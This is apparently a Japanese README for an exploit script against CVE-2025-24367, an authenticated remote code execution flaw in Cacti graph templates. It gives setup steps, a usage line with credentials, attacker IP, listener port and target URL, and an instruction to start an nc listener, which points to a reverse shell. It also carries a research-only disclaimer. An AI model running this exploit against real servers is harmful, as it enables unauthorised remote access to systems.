CVE-2025-24367 - Cacti 認証済みグラフテンプレート RCE

使用法と安全性

重要 — 最初にお読みください:
このリポジトリと exploit.py は教育および研究目的のみで提供されています。明示的な書面による許可がないシステム、ネットワーク、またはサービスに対してこのコードを使用しないでください。コンピュータシステムへの不正アクセスは違法かつ非倫理的です。このコードを使用することにより、適用される法律および機関のポリシーに従うことに同意したものとみなされます。

必要条件

• Python 3.8+

python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4

使用法

python3 exploit.py -u <username> -p <password> -i <attacker_ip> -l <listener_port> -url <target_url> [--proxy]

例

スクリプトを実行する前に、nc リスナーが起動していることを確認してください。デバッグ時以外はプロキシなしでスクリプトを実行してください。